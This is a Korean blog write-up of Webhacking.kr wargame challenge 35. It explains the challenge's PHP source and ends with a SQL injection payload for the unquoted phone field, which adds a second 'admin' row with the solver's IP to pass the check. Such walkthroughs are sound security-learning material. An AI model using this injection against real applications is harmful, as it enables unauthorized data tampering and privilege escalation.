프로젝트/Webhacking.kr

[Webhacking.kr] Challenge(old) 35번 문제

Uggjjini 2021. 7. 13. 16:57

문제 페이지는 해당 페이지와 같다.

 

 

해당 페이지에는 phone 입력창과 view-source 링크가 존재한다.

 

입력창에 임의의 숫자 1234 를 입력하여 추가한다.

 

 

 

URL 을 통해 id 가 guest로 추가되는 것을 확인할 수 있다.

 

view-source 링크를 통해 페이지 소스 코드를 확인한다.

 

 

php 부분을 중심으로 해당 코드를 해석해본다.

 

<?php
$db = dbconnect();
if($_GET['phone'] && $_GET['id']){
  if(preg_match("/\*|\/|=|select|-|#|;/i",$_GET['phone'])) exit("no hack");
  if(strlen($_GET['id']) > 5) exit("no hack");
  if(preg_match("/admin/i",$_GET['id'])) exit("you are not admin");
  mysqli_query($db,"insert into chall35(id,ip,phone) values('{$_GET['id']}','{$_SERVER['REMOTE_ADDR']}',{$_GET['phone']})") or die("query error");
  echo "Done<br>";
}

 

상단 부분을 통해 GET 방식으로 전송되는 id 파라미터의 값에 admin을 입력할 수 없다는 것을 알았다.

 

phone에 어떠한 값을 넣으면 insert into chall35(id,ip,phone) value..... 를 이용하여 데이터베이스에 값을 저장한다.

 

$isAdmin = mysqli_fetch_array(mysqli_query($db,"select ip from chall35 where id='admin' and ip='{$_SERVER['REMOTE_ADDR']}'"));
if($isAdmin['ip'] == $_SERVER['REMOTE_ADDR']){
  solve(35);
  mysqli_query($db,"delete from chall35");
}

 

id=admin and ip=myip 라는 값을 가진 데이터가 있다면, 문제가 풀린다는 것을 알 수 있다.

 

해당 문제를 풀기위하여 SQL 의 insert 구문을 조작하여 admin 사용자의 정보를 추가해야 한다.

 

insert into chall35(id,ip,phone) values('guest','ip','1234'),('admin','나의 ip','1234')

 

상단의 SQL 구문 처럼 입력되도록 phone 입력창에 1234),('admin','나의 ip',1234 을 입력하여 추가 하면 해당 문제가 풀리는 것을 확인할 수 있다.